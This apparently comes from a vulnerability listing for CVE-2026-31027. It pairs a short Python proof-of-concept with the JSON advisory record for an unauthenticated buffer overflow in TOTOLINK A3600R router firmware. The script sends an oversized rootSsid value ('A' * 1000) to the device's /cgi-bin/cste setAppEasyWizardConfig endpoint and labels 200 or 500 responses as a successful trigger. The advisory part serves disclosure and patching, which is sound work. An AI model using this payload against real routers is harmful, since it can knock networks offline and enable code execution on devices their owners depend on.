CVE-2026-31027

import requests # Target URL (Vulnerable endpoint) target_url = "http://<target_ip>/cgi-bin/cste" # Vulnerable parameter: rootSsid # Sending a large string to trigger the buffer overflow payload = { "action": "setAppEasyWizardConfig", "rootSsid": "A" * 1000 # Buffer size is limited, sending excessive data } try: # Sending the malicious request without authentication response = requests.post(target_url, data=payload, timeout=5) print(f"Request sent. Status Code: {response.status_code}") # If the device crashes or behaves unexpectedly, the exploit was successful if response.status_code == 200 or response.status_code == 500: print("Vulnerability triggered successfully.") else: print("Target may not be vulnerable or patched.") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-31027", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:49.787", "lastModified": "2026-04-07T12:10:47.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TOTOlink A3600R v5.9c.4959 contains a buffer overflow vulnerability in the setAppEasyWizardConfig interface of /lib/cste_modules/app.so. The vulnerability occurs because the rootSsid parameter is not properly validated for length, allowing remote attackers to trigger a buffer overflow, potentially leading to arbitrary code execution or denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3600r_firmware:5.9c.4959:*:*:*:*:*:*:*", "matchCriteriaId": "4C87B960-EFA4-440B-B1A6-B3FDE8A0BD3D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3600r:-:*:*:*:*:*:*:*", "matchCriteriaId": "F10B282D-E388-4A52-B7F8-D08C83CF0D62"}]}]}], "references": [{"url": "https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/ToTolink/A3600R/rootSsid-setAppEasyWizardConfig.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}